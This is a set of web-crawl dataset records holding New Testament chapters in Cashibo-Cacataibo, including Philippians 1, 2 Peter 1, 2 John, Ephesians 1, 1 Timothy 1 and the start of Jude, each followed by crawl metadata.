'acë 'icë ca Cristonën utëcë́nquin mitsu 'uchoquinma upíshi isti 'icën. 11 Jesucristonën 'aquincëxunmi mitsun ñu upíshi 'aia isquin ca unin —Nucën Papa Dios ax ca asérabi upí 'icë —quixun caquin a rabiti 'icën.\n—'Ëishima, Cristo 'ëbë 'ain cana abëtan ñu 'ai —quiáxa Pablo quia\n12 'Ën xucë́antu, mitsun 'unánun quixun cana ësaquin mitsu cain, 'ë sipuacancë cupí ca 'itsa uni Jesucristomi sinania quixun. 13 'Apun suntárucama 'imainun camabi unínribi ca 'unania, Jesucristo ñuiquin uni bana ñuixuncë cupí cana sipuacë 'ai quixun. 14 'Ëx usai 'ia 'unáncë cupí ca axa Cristomi catamëcë uni aín patsanën, atun 'acësamaira oquin Jesucristomi catamëquin, racuë́quinma Nucën Papa Diosan bana uni ñuixunia. 15 Usa 'ain ca raírinën 'ëmi nutsiquin, 'ën bana 'acësamaira oquin isa unin aín bana cuanun quixun, Cristo ñuiquin bana ñuixunia. Ñuixunmainunbi ca raírinën asérabi, an Jesucristomi catamënun uni 'aquinti sinánquin upí oquin bana ñuixunia. 16 Axa 'ëmi nutsicë unicaman ca 'ëx sipunu 'ain, Jesucristomia sinánun ñuixunquinma aín cuëëncësa oquinshi uni bana ñuixunia, 'ëx a cuati bëë́nun quixun. 17 Usa 'aínbi ca raírinën 'ë nuibaquin, Jesucristomi catamëti Nucën Papa Diosnan 'iti bana ax ca asérabi 'icë quixun ënuxun cati cupí cana 'ëx ënu 'ai quixun 'unánquin, upí oquin a bana ñuixunia. 18 Atúan uisaquin cara uni bana ñuixuinsa tania, usoquin ñuixuncëxbi ca asábi 'icën. Usaquian Jesucristo ñuiquin 'itsa unin bana ñuiia unin ñuiia cuati cana cuëënin.\n'Ianan cana 'ëx 'icësamairai cuëënti 'ain, 19 mitsúnmi Nucën Papa Dios 'ë ñucáxuncëxuan Jesucristonën Bëru Ñunshin Upitan 'aquincëx cana chuámarua chiquíti 'ai quixun sinani. 20 Usa 'ain cana 'ëx Jesucristomishi catamëtia uni ië́ti bana, a ñui rabínquinma, 'ën 'acësabi oquin ñuitisa tanin. Usoquin 'ai cana nëtë camabi ami catamëti asaribi 'iisa tanin, ax ca asérabi upíira 'icë quixun 'unania camabi uni ami catamënun. Bamacëma 'ixun 'ën bana ñuixuncë cupí 'iananbia, 'ëx bamacëbëbi uni 'ën aín bana ñuixuncë cupí Jesucristomi sinánti cana cuëënin. 21 Ainan 'aish cana ënë nëtënuax abë 'aish cuëëinra cuëënin. Usai 'itancëx bamatancëx cana ënë nëtënuax 'icësamairai abë aín nëtënu 'aish cuëëinra cuëënti 'ain. 22 Usa 'aínbi cana 'ëx bamacëma pain 'ixun uni Cristo ñuiquin bana ñuixunquin ëniman. Usoquin 'ën ñuixuncëx ca uni Cristomi sinanati 'icën. Usa 'ain cana uisairai 'iti carana cuëëni quixun 'unaniman. 23 Uisaira carana 'iti 'ai quixun sinani cana sináncasmain. Bamatancëx ënë nëtënuax 'icësamairai Cristobë aín nëtënu chuámarua 'iti sinani cana anu 'iisa tanin. 24 Usa 'aínbi ca mitsúnmi upí oquin Jesucristo 'unánun mitsu 'aquinti cupí 'ëx ënë nëtënu pain 'iti asábi 'icën. 25 Asérabi ca usa 'icë quixun sinánquin cana 'unanin, Jesucristomi upiti sinánun 'aquianan ami catamëti cuëënun mitsu 'aquinti cupí cana 'ëora pain ënë menu 'iti 'ai quixun. 26 Usa 'aish cana mitsúxmi Cristo Jesúsmi upiti catamëti cuëënun mitsu isi cuantëcënti 'ain.\n27 Ësaíshi 'iti camina sinánti 'ain, ainan 'aish camina Cristo quiásabi oi 'iti 'ain. 'Ëx mitsu isi cuananbi, cuanquinmabi cana, mitsux camina bëtsibë nuibanani Jesucristomi catamënun 'aquianani quixuan unin ñuia cuaisa tanin. 28 Cuanan cana mitsumi nishquian unin 'atimocëxunbi camina racuë́quin a ëníma Jesucristomi catamëti quixuan unin ñuia cuaisa tanin. Mitsúxmi usai 'icëbëtan ca Nucën Papa Diosan sinánmicëxun axa mimi nishcë unicaman 'unánti 'icën, ainanma 'aish ca atux nëtë́timoi usabi 'inux bamati 'icë quixun. 'Unánan ca mitsux camina ainan 'inux ië́cë 'aish Nucën Papa Diosbë 'iti 'ai quixun 'unánti 'icën. 29 Nucën Papa Diosan ca Cristomi catamënun mitsu 'imiaxa. 'Imianan ca ami catamëtia unin mitsumi nishquin 'atimocëxbimi cuëënun mitsu 'imiaxa. 30 Usaribi oquin ca 'ëribi 'imiaxa. Jesucristonan cupía unin 'ë 'atimoia camina isacën. Bëríribi cana tëmërai quixun 'ën mitsu quirica buánmicëxun camina 'unanin. 'Ëx 'icësaribiti camina mitsúxribi tëmërain.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/PHP01.htm","date":"2021-12-02T18:58:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00092.warc.gz","language":"cbr","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 0.9999983310699463}","num_words":828,"character_repetition_ratio":0.104,"word_repetition_ratio":0.007,"special_characters_ratio":0.201,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PEDRONËAN ARIBI BUÁNMITËCËAN QUIRICA\n1\nPedronëan axa Jesucristomi catamëcë unicama quirica cuënëoxuan\n1 'Ëx cana Simón Pedro, ax cuëëncësabi oquin 'anan aín bana uni ñuixunuan Jesucristonën caísa 'ain. An nu ië́micë Jesucristo, axbi Nucën Papa Diosribi 'aish upí 'ixuan nu 'acësaribi oquin ainan 'inun ië́micë, mitsu cana ënë quirica buánmin. 2 Mitsux Nucën Papa Dios 'imainun Nucën 'Ibu Jesús an 'unánmicë 'aíshmi mitsúxmi 'icësamaira oi chuámarua 'aish bucucanti cana cuëënin.\nUisai cara axa Cristomi catamëcë unicama 'iti 'icë quicë bana\n3 Nucën Papa Dios cushiira 'ianan aín nuitu upíira 'ixuan an nu ainan 'aish asaribi 'inun caíscë, an ca uisaira cara aín cushi 'icë quixun nu 'unánmiquin anúnu upitax 'iti 'imainun anúnu ax cuëëncësa oi 'iti a nu 'inánxa. 4 Ainan 'imiquin ca aín bana 'inánquin Nucën Papa Diosan uisaira oquin cara nu 'aquinti 'icë quixun nu 'unánmia. Usaquian 'unánmicëx, a banami catamëti camina an sinánmicësabi oquin sinánan uni itsían ñunshínquin ñu 'atima 'aia isquinbi, usaribi oquin 'aquinma upí ñuishi sinánti 'ain. 5 Usai mitsux Nucën Papa Diosmi catamëcë 'ixun camina upí 'ixun ënquinma ñu upíshi 'ati sinánquin 'ati 'ain. Upí ñu 'acë 'ixun camina Nucën Papa Dios cuëëncësabi oi caramina uisai 'iti 'ai quixun 'unánti 'ain. 6 Usai 'iti 'unáncë 'ixun camina ñu 'aisama 'aisa tanquinbi tënëanan cushixun Nucën Papa Diosan a 'anun mitsu 'ináncë ñu asérabi 'ati 'ain. Usaquin 'acë 'ixun camina mitsumi uisa ñu cara 'icëbëtanbi bënë́quinma tanshiti 'ain. Usaquin 'ai camina Nucën Papa Diosmi asérabi sinánti 'ain. 7 Usaquin sináncë 'aish camina bëtsibë nuibananti 'ain. Usai 'iquin camina camabi uni nuibati 'ain.\n8 Asérabi usai 'i camina an uni itsin Jesucristomi sinánun 'aquincëma unisa 'itima 'ain. Usai 'i camina ñancábimi Nucën 'Ibu Jesucristomi sináncë 'itima 'ain. 9 Usa 'aínbi ca axa usai 'icëma uni ax bëxuñu unisa 'ianan a ñubi sináncëma unisa 'icën. Usa 'ixun ca aín 'ucha ca tërë́ncë 'icë quixun sinanima manúaxa. 10 'Ën xucë́antu, usa 'ain Nucën Papa Diosan ainan 'iti caíscë 'aish camina an cacësabi oi 'inux bërúanracati 'ain. Usa 'iquin camina Nucën Papa Diosmi sinánti ënquin ñu 'atima 'atima 'ain. 11 Usai 'itancëx camina Nucën 'Ibu Jesucristo, an nun 'ucha tërë́nquin Nucën Papa Diosnan 'inun nu ië́micë, an mëníosabi oi asérabi aín nëtënu abë cëñútimoi 'iti 'ain.\n12 Uisai caramina Nucën Papa Dios cuëëncësabi oi 'iti 'ai quixun 'unani camina usai 'in. Usaími 'iabi cana ënímami mitsux 'icësabi oi 'inun sinánmitëcënti 'ain, manúti rabanan. 13-14 Nucën 'Ibu Jesucristonën 'unánmicëxun cana 'unanin, 'ën bamati nëtë ca 'urama 'icë quixun. Usa 'ain ca 'ën sináncëx bamaquin ënë nëtë ëncëma pan 'ixuinshi ënë ñucama 'ën mitsu sinánmitëcënti asábi 'icën. 15 'Ëx bamacëbëtanmi ënquinma usabi oquin 'anun quixun cana ënë banacama mitsu cuënëoxunin.\nAn Nucën 'Ibu Jesucristonën aín cushínbi ñu 'aia isa unicama\n16 Nucën 'Ibu Jesucristonën cushi ñuixuanan aín utëcënti ñuiquin nun mitsu cacë bana ax ca unían anbi sinánxun ñuicë banama 'icën. Nucën bërúnbi cananuna Nucën 'Ibu Jesucristonëan aín cushínbi ñu 'aia isacën. 17 Usaquin iscë 'ixun cananuna camabi unin 'unánuan, a ñui, Nucën Papa Dios ësai quia cuacën: \"Ënëx ca 'ën nuibairacë 'ën Bacë Bëchicë 'icën, a cupí cana chuáma tani cuëënin\" —quiax. 18 Anua Nucën Papa Diosan cushi 'ain cananuna matánu Nucën 'Ibu Jesúsbë 'ixun, Nucën Papa Dios naínuax usai Jesucristo rabi quia asérabi cuacën.\n19 Usai banaia cuaquin cananuna 'unáncën, an Nucën Papa Dios quicë bana uni ñuixuncë unin cuënëo bana quiásabi oi ca Jesucristo 'iaxa quixun. Mitsúnmi upí oquin a bana sinánti ca asábi 'icën. Lamparinën bëánquibucënuxun pëcacëbëtan cananuna xubunu 'icë ñu upí oquin isquinmabi isin. Usaquin isquinbi cananuna barían pëcacëbëtainra upí oquin isin. Usaribi oquin camina a unicaman bëráma cuënëo bana 'unánquinbi asérabi mitsun nuitunubi Cristo 'icëbëtainra, uisai cara a bana quia quixun upí oquin 'unánti 'ain. 20-21 An Nucën Papa Dios quicë bana uni ñuixuncë unicama ca anbi sináncë bana unicama ñuixuanma 'icën. Ax asérabi aín Bëru Ñunshin Upitan sinánmicë 'ixun ca Nucën Papa Diosmi upiti catamëcë 'ixun ax cuëëncësabi oquin bana ñuixuancëxa. Usa 'ain camina asérabi 'unánti 'ain, unin ca anbi sinántancëxun Jesucristo ñuiquin bana cuënëoma 'icë quixun.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/2PE01.htm","date":"2021-12-02T19:17:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00107.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":642,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"JUANËAN ARIBI BUÁNMITËCËAN QUIRICA\n1\nCristo cuëëncësabi oi 'iti 'imainun unicama nuibati bana\n1 'Ëx axa Jesucristomi catamëcë unicaman cushi 'ixun cana mixmi Nucën Papa Diosan ainan 'inun caíscë xanu 'icë, 'ën asérabi a nuibacë min tuácamacëñun, ënë quirica an Nucën Papa Diosan bana 'acë unicamabëtan, mi cuënëoxunin. 2 Ainan 'aíshnu xënibua 'aínbi abë 'iti Jesucristo, a cupí cananuna mitsu nuibatin. 3 Nucën Papa Diosan ca aín Bëchicë Jesucristobëtan nuibaquin mitsu 'aquinti 'icën. An ca asérabi an nuibaquin 'aquincëxmi chuámarua 'aish bucunun mitsu 'imiti 'icën.\n4 Min tuá raírinën ca Nucën Papa Dios quicësabi oquin 'aia quixuan ñuicania cuati cana cuëëinra cuëëan. 5 Min 'unáncëma banama, Jesucristomi catamëtabaquinu cua, a banabi cana mi ñuixuntëcënin. A bana quicësabi oi cananuna bëtsibë bëtsibë nuibananti 'ai quixun cana mi cain. 6 Asérabi Nucën Papa Diosmi sináncë unin ca axa quicësabi oquin 'aia. Aín banax ca quia, camina bëtsibë bëtsibë nuibananti 'ai quiax. Jesucristomi catamëtabaquinmi cua, abi ca a bana 'icën.\nAn uni paráncë unicama ñui quicë bana\n7 'Itsa unin ca camabi menu cuanquin uni paránquin —Nucën Papa Diosan Bëchicë ca uni 'inux uacëxa —quixun caquinma, bëtsi bana ñuiquin uni parania. Usa unix ca an uni paráncë 'ianan an 'atimaquinra Cristo ñuicë uni a 'icën. 8 Usa 'aínbi ca an mitsun a 'ati 'ináncë ñucamami ax quicësabi oquin sënë́onquin 'aia a cupí aín nëtënuxun Nucën Papa Diosan an mëníosabi oquin mitsu 'imiti 'icën. Uisaira oquin cara 'imiti 'icë usoquian mitsu 'iminun camina an 'atimaquin Cristo ñuicë unían mitsu paránunma bërúanracati 'ain.\n9 Ui unin cara Cristonën bana quicësabi oquin 'aquinma ax cuëëncësa oquinshi 'aia abëma ca Nucën Papa Dios 'icën. Usa 'aínbi ca axa Cristonën bana quicësabi oi 'icë uni abë cuni Nucën Papa Dios 'imainun aín Bëchicë Jesucristo 'icën. 10 Ui unin cara mitsu isi cuanxun Jesucristo ñui quicë bana —ax ca asérabi 'icë —quixun ñuiquinma bëtsi oquin ñuia, a camina min xubunu atsínmima 'ianan —caina uan —quixunribi catima 'ain. 11 Axa usa unibë nuibanancë uni an ca an 'acësaribi oquin ñu 'aisama 'aia. Usa 'aish ca 'aisama uni 'ia.\nAshia Juanën cá bana\n12 'Ën mitsu a ñuiquin cati ñu ca 'itsa 'icën. 'Aínbi cana tintan quiricanu cuënëoquin a ñucama mitsu ñuixuniman. Usa 'ain cana mitsu isi cuanti sinanin. Cuanxun cuni cana mitsu 'ën cuëbitanbi ñuixunquin cati 'ain. Usa 'ain cananuna camáxbi isánani, cánani chuámarua tani cuëënti 'ain.\n13 Nucën Papa Diosan atúxribia ainan 'inun caíscë min xucënan tuá atúnribi ca bërúanxmi 'inun quixun mi 'ë camia. Ashi, Juan.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/2JN01.htm","date":"2021-12-02T19:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00122.warc.gz","language":"cbr","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.000004529953003}","num_words":394,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN EFESONU 'ICË UNICAMA BUÁNMIA QUIRICA\n1\nEfeso ëmanuax ax Jesucristomi catamëcë unicama Pablonën quirica cuënëoxuan\n1 'Ëx cana Pablo, Nucën Papa Dios cuëëncësabi oquin aín bana ñuixunun Jesucristonën caísa 'ain. Usa 'ixun cana Efeso ëmanuaxmi Cristo Jesúsmi sinani ami catamëti Nucën Papa Diosnan 'icë ënë quirica mitsu buánmin. 2 Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën mitsu nuibaquin 'aquincëxmi chuámarua 'aish bucucanti cana cuëënin.\nI. AIN UNICAMAX CA CRISTOBË ACHUSHISA 'ICË QUIXUN PABLONËN CA (1.3-3.21)\nCristonan cupía Nucën Papa Diosan uni nuibaquin 'aquinti\n3 Nucën Papa Dios ax ca Nucën 'Ibu Jesucristo aín Dios 'ianan aín Papa 'icën. A rabinun ca 'acan. Aín nëtënuxun nu sinánxunquin ca nuxnu Cristonan cupí nuibaquin 'aisamaira ñu nu 'aquinquin upí oquin sinánmianan nu cuëënmia. 4 Mecama uniocëma 'ixunbi ca Nucën Papa Diosan Cristo cupínu an iscëx 'uchañuma 'ianan ainanshi 'inun nu caísacëxa. 5 Axa cuëëncësabi oquin ca nu nuibaquin Jesucristo cupí aín bëchicë 'inun nu caísacëxa. 6 Usaquin ainan 'inun caístancëxun an nu nuibaquin, aín nuibacë Bëchicë nubë 'aínu ainan 'aish upí 'inun nu 'imicë 'ixun cananuna ami catamëquin, xënibua 'aínbi a rabin. 7 An ca nun 'ucha cupínu ainanma 'icëbi Cristo bama 'ain, nun ñu 'aisama 'acëcama tërë́nquin ainan 'inun nu ië́miaxa, an nu nuibaquin. 8 Usa 'ixun ca nuibaíraquin uisairai cara uni ainan 'iti 'icë quixun upí oquin 'unánun nu 'imiaxa. 9 Unin 'unánma 'icëbi ca nu 'unánmiaxa, uisa cupí cara ax cuëëansabi oquin Cristo ënë nëtënuaxa bamanun xuacëxa quixun. 10 Ësaquin ca nu 'unánmiaxa: An ca anúan ax utëcënti nëtëa sënë́ncëbëtan Cristo xuti 'icën, an unio ñucama, naínu 'icë 'imainun menu 'icë aín 'ibua 'inun.\n11 Nux Cristonan cupí aín uni raíri 'acësaribi oquin nu axa cuëëncësabi oi 'ianan aín nëtënu abë 'iti nu 'iminuxun ca Nucën Papa Diosan ainan 'inun nu caísacëxa. Usai nux 'inun ca Nucën Papa Diosan camabi ñu ax cuëëncësabi oquin 'aquin mëníocëxa. 12 Nun nu an sinánmicëxun upí oquin ñu 'aia isquian uni raírinënribi a rabinun ca nux pain Cristomi catamëcë 'aíshnu ax cuëëncësabi oi 'inun nu caísacëxa. 13 Mitsúxribi camina —Jesucristo cupí ca uni aín 'ucha tërë́ncë 'aish Nucën Papa Diosnan 'iti 'icë —quixun ñuicë bana cuati Cristomi catamëacën. Cristomi catamëtia ca Nucën Papa Diosan ax quicësabi oquin aín Bëru Ñunshin Upí mibëa 'inun mitsu 'ináncëxa, mitsúxmi asérabi ainan 'icë 'unánti oquin. 14 Aín Bëru Ñunshin Upí axa nubë 'ain cananuna 'unanin, anúan Nucën Papa Diosan an caíscë aín unicama biti nëtë sënë́ncëbë cananuna aín nëtënu abë 'iti 'ain, ax quiásabi oi. Ax cushiira 'ixuan nuibaquin 'imicëxunu a rabinun ca usai 'iti 'icën.\nEfesonu 'icë axa Jesucristomi catamëcë unicama Pablonën Nucën Papa Dios ñucáxuan\n15 Usoquin Nucën Papa Diosan 'aquincëxmi mitsux asérabi Nucën 'Ibu Jesúsmi catamëanan axa ami sináncë unicamabë nuibanania ñuicania cana cuan. 16 Usa 'ain cana ënquinma —asábi ca —quixun caquin rabianan abë banaquin Nucën Papa Dios mitsu ñucáxunin. 17 Nucën 'Ibu Jesucristonën Dios 'ianan 'Apuira, Nucën Papa Dios, a cana an 'unánmicëxunmi upí oquin sinánquin a 'unáncanun quixun mitsu ñucáxunin. 18 'Imainun cana mitsu ñucáxunin, an 'imicëx caramina uisairai ënë nëtënuax Jesucristosaribi 'aish upí sinánñu 'iti 'ai quixunmi mitsun 'unánun. Ñucánan cana uisairai caramina aín nëtënu abë 'aish, axa ami catamëcë unicamabë 'iti 'ai quixunmi 'unánun mitsu ñucáxunin. 19-20 Usaribi oquin cana mitsu ñucáxunin, uisaira cara aín cushi anúan axa ami catamëcë unicama 'aquinti a 'icë quixunmi mitsun 'unánun. A cushínbi ca bamacëbi baísquimixun Cristo aín nëtënu aín mëqueu 'aish abë 'Apu 'inun 'imiacëxa. A cushíinra ca Nucën Papa Diosan nu 'aquinia. 21 Usai 'inúan 'imicëx ca Cristo ax, a unin iscë 'apu 'imainun a unin iscëma 'apuribi 'imainun uisa cushi cara, 'imainun uisa 'apu cara, uisaquin caquin anëcë cara, acamabë sënë́nmaira 'icën. Usa bërí 'aish ca ënë nëtë cëñúcëbëribi usai 'iti 'icën. 22 Nucën Papa Diosan ca camabi ñu, uni, ángel, acaman 'ibu 'inun Cristo 'imiacëxa. 'Imianan ca axa ami catamëcë unicaman 'iburibi 'inun 'imiacëxa. 23 Axa ami catamëcë unicamax ca 'itsa 'aíshbi camáxbi Cristonan 'icën. Usa 'ain ca an abë 'ixun an sináncësaribi oquian sinánun aín unicama 'imia. Ax ca uinubi 'aímama 'icën. Abë 'ixun ca Cristonën aín unicama an iscëx aín nuitu upí 'ixuan ax cuëëncësa oquinshi 'anun aín cushi 'inania.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/EPH01.htm","date":"2021-12-02T19:12:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00193.warc.gz","language":"cbr","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.000006079673767}","num_words":658,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN TIMOTEO A PAIN BUÁNMIA QUIRICA\n1\nPablonëan Timoteo quirica cuënëoxuan\n1 'Ëx cana Pablo, aín bana uni ñuixunuan Jesucristonën caísa 'ain. Usa 'inun ca Nucën Papa Dios, an nu ainan 'inun ië́micë, abëtan Jesucristo, an nu asaribi 'iminunu nun caíncë an mëníocëxa. 2 Timoteo, 'ën cana ënë quirica mi buánmin. 'Ëx ami sináncësaribi oi mix Jesucristomi sináncë 'aish camina 'ën bëchicësa 'ain. Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristo, an nu ainan 'inun ië́micë, an nuibaquin min 'uchacama tërë́ncë cupími ainan 'aish chuámarua 'iti cana cuëënin.\nUnin cëmëquin ñuicë bana cuatima bana\n3 'Ëx Macedonia menu cuantámainunmi Efeso ëmanu bërúnun quixun cana mi can, anuxunmi an Nucën Papa Dios cuëëncësabi oquin 'unánmiquinma bëtsi bana uni ñuixuncë unicama usoquin 'axunma 'anun quixun canun. 4 Usa 'ain camina a unicama cati 'ain, uni raírinëan nun rara tsóa 'imainun uisai cara nun rara 'iacëxa quixun ñuicë banacama a cuaxunma 'anun quixun. Usa banacama cuati ca uni ñancábi cuëbicanania. Usa 'ain ca an a banacama ñuicë unicaman Jesucristomi catamëquin Nucën Papa Dios cuëëncësabi oquin 'anun nu 'aquinima.\n5 Nucën Papa Dios ca cuëënia aín unicamaxa ësai 'inúnu 'unánmiti: aín nuitu upí 'ianan aín 'uchacama tërë́ncë 'ixun 'atëcënti sináncëma 'ianan Jesucristomi asérabi catamëcë 'ixun unicama nuibati. 6 Usaía 'inun 'unánminun ca Nucën Papa Dios cuëënia quixun sinanima ca bëtsi bëtsi uni amanu amanua sinani banaia. Usa 'ixun ca Nucën Papa Dios cuëëncësabi oía 'inun aín unicama 'aquinima. 7 Nucën Papa Diosan bana unicama 'unánmisa tanquin ñuixunquinbi ca a bana —uisai cara quia —quixun cuatima. 'Imainun ca a ñuixuncë banacama —asérabi ca usa 'icë —quixun ñuixunquinbi uisai quicë cara quixun a bana anbi cuatima.\n8 Camabi unia upí 'iti oquin ca Nucën Papa Diosan aín bana uni 'ináncëxa. Usa 'ain ca a bana quicësabi oi 'iquin unin 'unánti 'icën, a banax ca upíira upí 'icë quixun. 9 Cananuna 'unanin, aín nuitu upí 'ixun ca unin usai ca uni 'itima 'icë quixun cuënëo bana isquinmabi ñu 'aisama 'aima. 'Aínbi ca an ësa ñu 'acë unicaman —usaquin 'ati ca 'aisama 'icë —quixun 'unánti cuënëo ca a bana 'icën: an Nucën Papa Diosan bana cuëëncëma, 'imainun an aín bana tancëma, 'atima 'aish 'aisama sinánñu, 'uchañuira, an Nucën Papa Diosmi racuë́quinma aín bana quicësabi oquin 'acëma, 'imainun an aín papa 'acë, an aín tita 'acë, an uni itsi 'acë, acama 'imainun, 10 aín xanuma 'aínbi xanubë 'icë unicama, aín bënëma 'aínbi unibë 'icë xanucama, xanúxmabi unibë 'icë unicama, an ñu mëcamacë unicama, cëmëcë unicama, axa anun Nucën Papa Diosbë upí 'iti bana, ënë́xa quicë ñucama cuëëncëma unicama. Ësa ñu 'acë unicaman —usai 'iti ca 'aisama 'icë —quixun 'unánun ca Nucën Papa Diosan uni aín bana 'ináncëxa. 11 Axa usa ñu 'ati ca 'aisama 'icë quicë bana, usaribiti ca Jesucristo ñui quicë bana, a uni ñuixunuan Nucën Papa Diosan 'ë caíscë, ax quia.\nNuibaquian ainan 'imicëxun unin Nucën Papa Dios —asábi ca —cati bana\n12 Nucën 'Ibu Jesucristonën ca 'ën an cacësabi oquin 'ati 'unánxun, aín bana ñuixunun caxun, usoquin 'anun 'ë cushioxa. Usa 'ain cana a ñucama sinánquin —asábi ca —quixun a cain. 13 Jesús ñui 'atimati bananan 'atimaquin sinánquin aín unicama tëmëramianan 'atimaquin ñuia 'icëbi ca 'ë aín uni 'imiacëxa. 'Ëx Jesucristomi catamëcëma pan 'ianan ax ca Nucën Papa Diosan Bëchicë 'icë quixun 'unáncëma 'ixun usoquin 'a 'icë ca Nucën Papa Diosan nuibaquin 'ën 'uchacama 'ë tërë́nxuancëxa. 14 Tërë́nxuanan ca Cristo Jesúsnan 'aish abë achúshi sinánñushi 'ixun, unicama upí oquin nuibanan upiti ami sinánun 'imiquin Nucën 'Ibu Diosan 'ë cushioxa.\n15 Ënë banax ca asérabi 'icën. Usa 'ain ca camabi unin —asérabi ca —quixun 'unánti 'icën: Camabi uni aín ñu 'aisama 'acë cupía tëmërati 'icëbi Nucën Papa Diosnan 'inun ië́minux ca Cristo Jesús ënë menu uacëxa. Uni itsi 'icësamairai 'uchacë 'icëbi ca ainan 'inun 'ë ië́miacëxa. 16 'Ëx 'uchañuira 'icëbia Jesucristonën 'ëmi nishquinma ainan 'ë 'imicë cupí ca axa ami catamëti xënibua 'aínbi Nucën Papa Diosbë 'iti unicaman 'unánti 'icën, usaribi oquin ca Jesucristonën aribi Nucën Papa Diosnan 'inun 'imiti 'icë quixun. Atúan usaquin 'unánun ca Nucën Papa Diosan nuibaquin 'ë ainan 'imiacëxa. 17 Usa 'ain cananuna Nucën Papa Dios, axa usabi 'Apuira 'iá 'aish cëñútimoi usabi 'iti, a unin aín bërúnbi iscëma, 'ianan an camabi ñu 'unáncë, axëshia Dios, a xënibua 'aínbi rabiti 'ain. Usai ca 'iti 'icën.\n18 Timoteo, 'ën bëchicësa 'icë, cana mi cain, Nucën Papa Diosan sinánmicëx ca aín unicama mi ñui quiacëxa, —Timoteonëx upí 'ixun ca Nucën Papa Diosan bana unicama ñuixunti 'icën. Mi ñuia usai quicë unicaman bana sinánquin camina ami catamëquin, Jesucristo cuëëncëma ñu 'aquinma 'aisama ñu 'ati sinánquinbi tënëquin upí ñuishi 'ati 'ain. 19 Usa 'aínbi ca —ësa ñu 'ati ca 'aisama 'icë —quixun 'unánquinbi usaquin 'acë 'aish uni raíri Jesucristobë upiti nitsima. 20 Usai ca Himeneo 'imainun Alejandro 'iaxa. A uni rabë́ cana Nucën Papa Dios ñui 'atimati banatëcënunma ñunshin 'atimanën 'apu Satanasnëan tëmëraminun ëan.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/1TI01.htm","date":"2021-12-02T18:42:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00234.warc.gz","language":"cbr","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000072717666626}","num_words":775,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"JUDASNËN BUANMIA QUIRICA\n1\nNucën Papa Diosan ainan 'inun caíscë unicama Judasnën cuënëoxuan quirica\n1 'Ëx cana Judas, an Jesucristonën cacësabi oquin ñu 'acë 'ianan Jacobonën xucën, a 'ain. Mitsúxmi ainan 'inun caíscë 'icëa Nucën Papa Diosan Jesucristomi cushicë 'inun 'imicë 'icë, cana ënë quirica mitsu cuënëoxunin. 2 Nucën Papa Diosan nuibacëxmi mitsun 'uchacama tërë́ncë 'ianan bëtsibë nuibanani chuámarua 'aish bucucanti cana cuëënin.\nAn cëmë bana uni ñuixuncë uni\n(2 P 2.1-17)\n3 'Ën nuibacë xucë́antu, Jesucristomi catamëtia ca mitsun 'uchacama tërë́nquin ainan 'inun Nucën Papa Diosan mitsu ië́miaxa, 'ë 'acësaribi oquin. Usami 'icë cana anun nux ië́ti banacama ñuiquin mitsu cuënëoxunti sinan. Usaquin sinánxunbi cana bëtsi bana pain mitsu buánmin, uni raírinëan Nucën Papa Diosan banamabi ñuicë bana a cuaxunma 'anun cananmi, Jesucristo ñui quicë bana, a Nucën Papa Diosan unicaman cuacë, ax ca asérabi 'icë quixuan camabi unin 'unánun, atu canun cana mitsu ënë quirica buánmin. 4 Uni raírinëx ca parani mitsubë timëtia. Mitsubë timë́xunbi ca mitsun sináncësabi oquin sinanima. A unicamax ca ësai quia: Nucën Papa Dios upí 'ixun ca nux cuëëncësa oquinshi ñu 'aiabi nu uisabi oimá. Usaquin sinánquin ca 'aisama ñu 'aia. 'Ai ca —'ëx cana Nucën Papa Diosnan 'ai —quibi axëshi nun 'Ibu, ax cuëëncësabi oi 'ima. —'Ëx cana Nucën 'Ibu 